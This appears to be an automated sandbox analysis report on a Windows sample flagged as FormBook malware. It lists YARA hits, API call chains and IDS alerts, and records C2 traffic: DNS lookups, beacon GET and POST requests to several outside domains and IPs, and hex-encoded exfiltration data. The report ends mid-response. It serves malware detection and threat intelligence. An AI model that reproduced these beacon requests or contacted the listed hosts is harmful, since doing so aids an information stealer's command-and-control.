Windows Analysis Report
fJD7ivEnzm.exe

AI detected suspicious sample

Source: Yara match	File source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.1996196701.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3638744438.00000000032E0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3638995982.00000000035D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1996763400.0000000003850000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3638935792.0000000003580000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1996814627.0000000003C00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3639798172.00000000031D0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: fJD7ivEnzm.exe

Joe Sandbox ML: detected

Source: fJD7ivEnzm.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: IqZHJpXEsts.exe, 00000004.00000000.1922332064.00000000000FE000.00000002.00000001.01000000.00000004.sdmp, IqZHJpXEsts.exe, 00000007.00000002.3638744641.00000000000FE000.00000002.00000001.01000000.00000004.sdmp
Source:	Binary string: wntdll.pdbUGP source: fJD7ivEnzm.exe, 00000000.00000003.1793057046.0000000004840000.00000004.00001000.00020000.00000000.sdmp, fJD7ivEnzm.exe, 00000000.00000003.1789568752.00000000046A0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1899809963.0000000003100000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901863289.0000000003300000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1996459004.000000000369E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1996459004.0000000003500000.00000040.00001000.00020000.00000000.sdmp, netbtugc.exe, 00000006.00000002.3640025456.0000000003C4E000.00000040.00001000.00020000.00000000.sdmp, netbtugc.exe, 00000006.00000003.1996513714.000000000375A000.00000004.00000020.00020000.00000000.sdmp, netbtugc.exe, 00000006.00000002.3640025456.0000000003AB0000.00000040.00001000.00020000.00000000.sdmp, netbtugc.exe, 00000006.00000003.1998537625.0000000003902000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: fJD7ivEnzm.exe, 00000000.00000003.1793057046.0000000004840000.00000004.00001000.00020000.00000000.sdmp, fJD7ivEnzm.exe, 00000000.00000003.1789568752.00000000046A0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000001.00000003.1899809963.0000000003100000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901863289.0000000003300000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1996459004.000000000369E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1996459004.0000000003500000.00000040.00001000.00020000.00000000.sdmp, netbtugc.exe, netbtugc.exe, 00000006.00000002.3640025456.0000000003C4E000.00000040.00001000.00020000.00000000.sdmp, netbtugc.exe, 00000006.00000003.1996513714.000000000375A000.00000004.00000020.00020000.00000000.sdmp, netbtugc.exe, 00000006.00000002.3640025456.0000000003AB0000.00000040.00001000.00020000.00000000.sdmp, netbtugc.exe, 00000006.00000003.1998537625.0000000003902000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: netbtugc.pdb source: svchost.exe, 00000001.00000002.1996320548.0000000002E00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1964838255.0000000002E1A000.00000004.00000020.00020000.00000000.sdmp, IqZHJpXEsts.exe, 00000004.00000002.3639292948.00000000014A8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: netbtugc.exe, 00000006.00000002.3640439126.00000000040DC000.00000004.10000000.00040000.00000000.sdmp, netbtugc.exe, 00000006.00000002.3639094585.000000000365E000.00000004.00000020.00020000.00000000.sdmp, IqZHJpXEsts.exe, 00000007.00000000.2067866976.0000000002D4C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2390344641.000000002249C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: netbtugc.exe, 00000006.00000002.3640439126.00000000040DC000.00000004.10000000.00040000.00000000.sdmp, netbtugc.exe, 00000006.00000002.3639094585.000000000365E000.00000004.00000020.00020000.00000000.sdmp, IqZHJpXEsts.exe, 00000007.00000000.2067866976.0000000002D4C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2390344641.000000002249C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: netbtugc.pdbGCTL source: svchost.exe, 00000001.00000002.1996320548.0000000002E00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1964838255.0000000002E1A000.00000004.00000020.00020000.00000000.sdmp, IqZHJpXEsts.exe, 00000004.00000002.3639292948.00000000014A8000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	Code function: 0_2_00452492 FindFirstFileW,Sleep,FindNextFileW,FindClose,	0_2_00452492
Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	Code function: 0_2_00442886 FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00442886
Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	Code function: 0_2_004788BD FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	0_2_004788BD
Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	Code function: 0_2_004339B6 GetFileAttributesW,FindFirstFileW,FindClose,	0_2_004339B6
Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	Code function: 0_2_0045CAFA FindFirstFileW,FindNextFileW,FindClose,	0_2_0045CAFA
Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	Code function: 0_2_00431A86 FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00431A86
Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	Code function: 0_2_0044BD27 _wcscat,_wcscat,__wsplitpath,FindFirstFileW,CopyFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,MoveFileW,FindNextFileW,FindClose,	0_2_0044BD27
Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	Code function: 0_2_0045DE8F FindFirstFileW,FindClose,	0_2_0045DE8F
Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	Code function: 0_2_0044BF8B _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_0044BF8B
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_032FC2C0 FindFirstFileW,FindNextFileW,FindClose,	6_2_032FC2C0

Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4x nop then xor eax, eax	6_2_032E9B90
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4x nop then pop edi	6_2_03302399
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 4x nop then mov ebx, 00000004h	6_2_039004DE

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:49736 -> 148.72.152.174:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49820 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49807 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49736 -> 148.72.152.174:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:49854 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49854 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:49929 -> 172.191.244.62:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49929 -> 172.191.244.62:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49884 -> 172.191.244.62:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49838 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49965 -> 172.96.191.39:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49979 -> 172.96.191.39:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49990 -> 172.96.191.39:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:50009 -> 172.96.191.39:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:50009 -> 172.96.191.39:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50017 -> 217.70.184.50:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50022 -> 63.250.47.40:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50021 -> 63.250.47.40:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49898 -> 172.191.244.62:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50019 -> 217.70.184.50:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50026 -> 91.184.0.200:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50029 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:50032 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50018 -> 217.70.184.50:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:50024 -> 63.250.47.40:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50025 -> 91.184.0.200:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49915 -> 172.191.244.62:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50037 -> 43.242.202.169:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50038 -> 43.242.202.169:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50031 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:50032 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:50024 -> 63.250.47.40:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:50040 -> 43.242.202.169:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50030 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:50040 -> 43.242.202.169:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50039 -> 43.242.202.169:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50027 -> 91.184.0.200:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:50028 -> 91.184.0.200:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:50028 -> 91.184.0.200:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:50020 -> 217.70.184.50:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:50020 -> 217.70.184.50:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50041 -> 103.224.182.242:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50023 -> 63.250.47.40:80

Source: Joe Sandbox View	IP Address: 172.191.244.62 172.191.244.62
Source: Joe Sandbox View	IP Address: 63.250.47.40 63.250.47.40
Source: Joe Sandbox View	IP Address: 13.248.169.48 13.248.169.48

Source: Joe Sandbox View	ASN Name: ATT-INTERNET4US ATT-INTERNET4US
Source: Joe Sandbox View	ASN Name: NAMECHEAP-NETUS NAMECHEAP-NETUS
Source: Joe Sandbox View	ASN Name: AMAZON-02US AMAZON-02US
Source: Joe Sandbox View	ASN Name: HOSTNETNL HOSTNETNL

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\fJD7ivEnzm.exe

Code function: 0_2_004422FE InternetQueryDataAvailable,InternetReadFile,

0_2_004422FE

Source: global traffic	HTTP traffic detected: GET /2jit/?e6mhx=LZwxPLrhqt_8A&-NnllVvH=iS4P4oRSl8BXKzGHIPEeBFILTgF0I4K6JXAZlPSQukWhX6ryYmutle+397gP2E/7l5jfN0VXuv9esRLW6mV1TqEhan6EIKUcOtzcvEOIT7DGSSciknjeHA8= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.elsupertodo.netConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.5; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Source: global traffic	HTTP traffic detected: GET /7xi5/?-NnllVvH=ixI46zwDNWOoK0d6d59SvpgDB+zqSFA+qsFL+v4hzxqFGT4p3+8WtoPKGUs/aT1fkDncxQRflpqJVuNQFbELBx/+PEXrpF63uptF2gwKAcNaoJelZ45iHH4=&e6mhx=LZwxPLrhqt_8A HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.omexai.infoConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.5; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Source: global traffic	HTTP traffic detected: GET /fpzw/?e6mhx=LZwxPLrhqt_8A&-NnllVvH=vk5QQsijTkj0pfF2YbFfXs6zKmlYZL+gcHfTrVh5yCT2NPNs5yeYEP2CyzpPbJkscWMx5aBCkSlgAfiy0IyVw6vzCqwT6MlUYIeNh7VIWund7P0tYTSeyak= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.tekilla.wtfConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.5; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Source: global traffic	HTTP traffic detected: GET /3qit/?-NnllVvH=t3sSYQcRGIG2xp6hThC36NAa5pulFT6rmgygjruUB9PzjWbyP4PTndkMOMUzUXzJWS/x79p8zVoA5FmvnGMYRx0f6/FSPt3YGxqpBfNEWUCZ6CvMlkEJ/uE=&e6mhx=LZwxPLrhqt_8A HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.bola88site.oneConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.5; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Source: global traffic	HTTP traffic detected: GET /nxfn/?e6mhx=LZwxPLrhqt_8A&-NnllVvH=6j3CvtUhPdUgNSN69nh1RWvnIL+RhJE9GdmFQzyR6PqyVz5YOV5r49CB0ghAIxZx6PIHaKVcYUnZkN+R6pfVeUaFaQwVg8/fN6RHd5lVuyrWHiNmavf3gAw= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.languagemodel.proConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.5; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Source: global traffic	HTTP traffic detected: GET /3bdq/?-NnllVvH=mPDvA1qI3GiuntP60bqgVobnrbMnRYp61+amzFfuWlPCagi05gb63n03Sa0iFCs5HVPasI6LuL9f8nEGr4Exu2k3ruJCpl2j2bvSmTd+X0q2Ansy3FLMFak=&e6mhx=LZwxPLrhqt_8A HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.kexweb.topConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.5; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Source: global traffic	HTTP traffic detected: GET /ikh0/?e6mhx=LZwxPLrhqt_8A&-NnllVvH=lvx8xqKuEeZXr5ITqNCHPh3uOhDJ1jEsZETVjxqXK0Zv2i3/Db6zT6O/acvvHmVSaGyiGmLaE43R+XLSCAO1vJ6qU/h+jhYmRiU/b4DSTDHjmvsEtFplu6A= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.jobworklanka.onlineConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.5; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Source: global traffic	HTTP traffic detected: GET /h7lb/?-NnllVvH=RbPHaORuq3VLsIvFE+kS4135sHK2QWKtxUtCmsRXGI6jytYd3WVHAygqsg9m4sx7IXgloFX+8G+vydQZJLP0V+w2gPP1i9gS6DQX/6Khz8EBa74P+FOl6aE=&e6mhx=LZwxPLrhqt_8A HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.dyme.techConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.5; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Source: global traffic	HTTP traffic detected: GET /e0nr/?-NnllVvH=K/5K1kUHGJjjXPw2ZEkIjVgmoRaszrgI6mASorW7taRlmnE0Vh93KWWTZt/v3aaqE5pW7Ym6hodTCoZ1X6txK3JHWMG30o4pyFBBCDSCP6CBkBrnoqSCbT0=&e6mhx=LZwxPLrhqt_8A HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.mizuquan.topConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.5; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)

Source: global traffic	DNS traffic detected: DNS query: www.woshop.online
Source: global traffic	DNS traffic detected: DNS query: www.kxshopmr.store
Source: global traffic	DNS traffic detected: DNS query: www.elsupertodo.net
Source: global traffic	DNS traffic detected: DNS query: www.omexai.info
Source: global traffic	DNS traffic detected: DNS query: www.tekilla.wtf
Source: global traffic	DNS traffic detected: DNS query: www.bola88site.one
Source: global traffic	DNS traffic detected: DNS query: www.languagemodel.pro
Source: global traffic	DNS traffic detected: DNS query: www.kexweb.top
Source: global traffic	DNS traffic detected: DNS query: www.jobworklanka.online
Source: global traffic	DNS traffic detected: DNS query: www.dyme.tech
Source: global traffic	DNS traffic detected: DNS query: www.arlon-commerce.com
Source: global traffic	DNS traffic detected: DNS query: www.mizuquan.top
Source: global traffic	DNS traffic detected: DNS query: www.nobartv6.website

Source: unknown

HTTP traffic detected: POST /7xi5/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Host: www.omexai.infoOrigin: http://www.omexai.infoContent-Type: application/x-www-form-urlencodedContent-Length: 205Connection: closeCache-Control: max-age=0Referer: http://www.omexai.info/7xi5/User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.5; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)Data Raw: 2d 4e 6e 6c 6c 56 76 48 3d 76 7a 67 59 35 44 63 68 62 55 54 75 44 6a 34 66 55 36 59 48 75 70 73 47 53 50 58 6d 52 46 49 67 6c 35 4a 41 74 2b 4d 75 37 6a 4c 74 48 52 35 37 37 73 30 70 67 61 79 37 52 48 78 61 61 51 4a 56 73 42 44 31 78 47 70 2b 6d 36 66 2f 53 36 35 79 43 72 38 56 5a 44 76 44 44 6a 48 7a 6a 31 32 43 74 62 6f 53 38 53 77 4e 65 63 42 37 34 37 61 6b 62 4c 6f 74 59 51 52 6f 4b 57 73 4f 69 72 6f 61 47 55 5a 53 6c 65 50 4f 47 57 6a 79 37 79 73 35 65 4e 69 47 54 71 6e 6e 34 39 35 72 6b 77 52 65 35 68 62 58 62 50 76 38 4f 73 4c 6a 43 41 63 70 71 6d 51 4f 6f 31 57 70 61 75 35 41 4e 48 76 56 73 67 3d 3d Data Ascii: -NnllVvH=vzgY5DchbUTuDj4fU6YHupsGSPXmRFIgl5JAt+Mu7jLtHR577s0pgay7RHxaaQJVsBD1xGp+m6f/S65yCr8VZDvDDjHzj12CtboS8SwNecB747akbLotYQRoKWsOiroaGUZSlePOGWjy7ys5eNiGTqnn495rkwRe5hbXbPv8OsLjCAcpqmQOo1Wpau5ANHvVsg==

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plain; charset=utf-8X-Content-Type-Options: nosniffDate: Tue, 08 Oct 2024 14:34:38 GMTContent-Length: 19Connection: closeData Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: 404 page not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plain; charset=utf-8X-Content-Type-Options: nosniffDate: Tue, 08 Oct 2024 14:34:41 GMTContent-Length: 19Connection: closeData Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: 404 page not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plain; charset=utf-8X-Content-Type-Options: nosniffDate: Tue, 08 Oct 2024 14:34:44 GMTContent-Length: 19Connection: closeData Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: 404 page not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plain; charset=utf-8X-Content-Type-Options: nosniffDate: Tue, 08 Oct 2024 14:34:46 GMTContent-Length: 19Connection: closeData Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: 404 page not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 796date: Tue, 08 Oct 2024 14:34:52 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 